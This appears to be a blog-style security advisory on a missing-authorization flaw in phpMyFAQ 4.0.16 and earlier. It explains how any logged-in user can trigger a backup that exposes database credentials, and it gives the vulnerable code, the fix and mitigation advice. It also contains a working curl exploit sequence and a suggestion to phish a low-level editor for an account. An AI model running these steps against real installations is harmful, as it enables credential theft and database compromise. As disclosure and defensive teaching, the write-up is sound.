Jan 23, 2026·6 min read·9 visits
In phpMyFAQ <= 4.0.16, the developers confused authentication with authorization. If you can log in—even as a lowly intern—you can hit the `/api/setup/backup` endpoint. This triggers a full system backup, wrapping up the database configuration (and its credentials) into a nice little ZIP file for you to steal.
A critical authorization failure in phpMyFAQ allows any low-privileged authenticated user to trigger and potentially retrieve full system configuration backups, exposing database credentials and sensitive system data.
Let's talk about backups. In the hierarchy of 'sensitive administrative actions,' generating a full system backup is right up there with 'delete database' or 'change root password.' A backup is essentially a snapshot of the kingdom—it often contains configuration files, user data, and the Holy Grail of web exploitation: plaintext database credentials.
phpMyFAQ is a popular open-source FAQ system used by organizations to document... well, everything. It includes a setup API intended for administrators to manage the instance. One of these management functions is, naturally, a backup generator.
Now, imagine you secure your front door with a bio-metric scanner, a keypad, and a guard dog. But then you install a button on the sidewalk labeled 'Dispense Spare Keys' that only requires you to be aware of the house's existence. That is effectively what CVE-2026-24421 is. It turns a high-privilege administrative function into a public utility for anyone with a login.
The vulnerability lies in a classic logical fallacy that plagues developers from junior interns to senior architects: assuming that because a user is authenticated (logged in), they are authorized to do whatever they ask for.
Located within SetupController.php, the specific endpoint is /api/setup/backup. When a request hits this endpoint, the application dutifully checks userIsAuthenticated(). This function effectively asks, 'Do I know who you are?' If the answer is yes, the code proceeds.
The problem is, it never asks the follow-up question: 'Is this person actually an administrator?'
This is a textbook Missing Authorization vulnerability (CWE-862). The application logic treats a user with the 'Tester' or 'Editor' role exactly the same as the 'Super Admin' for this specific route. It essentially shortcuts the Role-Based Access Control (RBAC) model, allowing low-privileged users to invoke high-privileged system commands.
Let's look at the logic. While I can't show you the exact proprietary source without a specific commit hash, the logic flow described in the remediation data allows us to reconstruct the crime scene accurately.
The Vulnerable Logic:
In the vulnerable version (<= 4.0.16), the controller looks something like this:
public function actionBackup()
{
// Check if user is logged in
if (!$this->user->userIsAuthenticated()) {
return $this->sendError('Unauthorized', 401);
}
// OOPS: No check for 'editconfig' or 'admin' rights here!
// Proceed to dump the database and config files
$backup = new Backup($this->config);
$zipFile = $backup->create();
return $this->sendResponse(['file' => $zipFile]);
}See that empty space? That's where the security should be. The code validates identity but ignores authority.
The Fix:
To patch this, we have to enforce an explicit permission check using phpMyFAQ's permission system. The remediation involves adding a gatekeeper that specifically checks for the editconfig permission:
public function actionBackup()
{
// Check if user is logged in
if (!$this->user->userIsAuthenticated()) {
return $this->sendError('Unauthorized', 401);
}
// THE FIX: Explicitly check for admin/config permissions
if (!$this->user->getPermission()->checkPermission($this->user->getUserId(), 'editconfig')) {
return $this->sendError('Forbidden: Admins only', 403);
}
$backup = new Backup($this->config);
$zipFile = $backup->create();
return $this->sendResponse(['file' => $zipFile]);
}Without that second if block, the controller is just a vending machine giving away data to anyone with a token.
Exploiting this is trivially easy. You don't need buffer overflows or complex race conditions. You just need a standard user account. If the target allows open registration, you create an account. If not, you phish a low-level editor.
Once you have credentials, the attack chain is a two-step process.
Step 1: Authenticate
First, we grab a valid session. We'll use curl to simulate the browser interaction:
curl -c cookies.txt \
-H 'Content-Type: application/json' \
-d '{"username":"lowpriv","password":"P@ssword123"}' \
http://target.com/phpmyfaq/api/v3.0/loginStep 2: Trigger the Backup
Now that we have our cookies.txt (proof of identity), we hit the backup endpoint. Note that we might need to pass a version string as data, as indicated by the vulnerability analysis.
curl -i -b cookies.txt \
-X POST \
--data '4.0.16' \
http://target.com/phpmyfaq/api/setup/backupStep 3: The Loot
The server will chug for a moment (while it compresses the database and config) and respond with a JSON object containing the path to the ZIP file.
{
"success": true,
"data": {
"file": "/backups/phpmyfaq-backup-2026-01-23.zip"
}
}If the server config allows direct access to that path (which it often does), you simply download the ZIP, unzip it, and open config/database.php. Congratulations, you now have the database hostname, username, and password.
This isn't just about reading some FAQ entries you weren't supposed to see. This is Confidentiality loss on a systemic level.
database.php file inside the backup contains the cleartext (or easily decryptable) credentials for the database. If the database port is open to the internet, the attacker has full R/W access to your data.It is a low-complexity attack with high-severity consequences.
If you are running phpMyFAQ versions up to 4.0.16, you are vulnerable. Here is your battle plan.
Immediate Remediation:
/api/setup/backup at your web server level (Nginx/Apache) for all IPs except your management VPN..htaccess or Nginx deny all directives on the backup folder to prevent direct downloads of .zip files.Developers, learn the lesson: Authentication is just the bouncer at the door. Authorization is the VIP rope. Don't confuse the two.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
phpMyFAQ thorsten | <= 4.0.16 | 4.0.17 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-862 (Missing Authorization) |
| CVSS v3.1 | 6.5 (Medium) |
| Attack Vector | Network (API) |
| Privileges Required | Low (Authenticated User) |
| Impact | Confidentiality (High), Availability (Low) |
| Exploit Status | PoC Available |
The software does not perform an authorization check when an actor attempts to access a resource or perform an action.